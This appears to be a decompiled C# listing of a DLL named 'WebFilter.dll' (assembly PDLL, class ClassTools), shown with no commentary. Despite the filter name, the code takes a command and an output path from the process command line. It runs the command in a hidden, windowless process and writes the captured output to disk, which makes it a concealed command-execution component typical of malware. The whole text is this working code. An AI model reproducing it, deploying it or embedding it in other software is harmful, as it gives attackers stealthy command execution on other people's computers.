WebFilter.dll #2

// PDLL, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// PDLL.ClassTools
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using PDLL;

public class ClassTools
{
    private static string str = "";

    [DllImport("kernel32.dll", SetLastError = true)]
    [STAThread]
    private static extern string GetCommandLineA();

    public static void TheMethod()
    {
        try
        {
            Task.Run((Func<Task>)new ClassTools().Run).Wait();
        }
        catch (Exception ex)
        {
            File.WriteAllText(str, DateTime.Now.ToString() + " Me: " + ex.InnerException.Message);
        }
    }

    private async Task Run()
    {
        string commandLineA = GetCommandLineA();
        string text = "TheMethod";
        int startIndex = commandLineA.IndexOf(text) + text.Length;
        string text2 = commandLineA.Substring(startIndex).Trim();
        string[] array = text2.Split(',');
        string FullPath = (str = array[0]);
        text2 = array[1].Trim();
        File.WriteAllText(FullPath, await MyMethod(text2, outs: false));
    }

    private async Task<string> MyMethod(string mand, bool outs)
    {
        _ = 1;
        try
        {
            Process proces = new Process();
            ProcessStartInfo processStartInfo = new ProcessStartInfo();
            processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            processStartInfo.CreateNoWindow = true;
            processStartInfo.UseShellExecute = false;
            processStartInfo.RedirectStandardError = true;
            processStartInfo.RedirectStandardOutput = true;
            int num = mand.IndexOf(' ');
            if (num > -1)
            {
                processStartInfo.FileName = mand.Substring(0, num);
                processStartInfo.Arguments = mand.Substring(num, mand.Length - num);
            }
            else
            {
                processStartInfo.FileName = mand;
            }
            proces.StartInfo = processStartInfo;
            proces.Start();
            if (outs)
            {
                return "";
            }
            string text = await proces.StandardOutput.ReadToEndAsync();
            string empty = string.Empty;
            if (text == string.Empty || text == null)
            {
                return "\n" + await proces.StandardError.ReadToEndAsync();
            }
            proces.WaitForExit();
            return empty + text;
        }
        catch (Exception ex)
        {
            return DateTime.Now.ToString() + " " + ex.Message;
        }
    }
}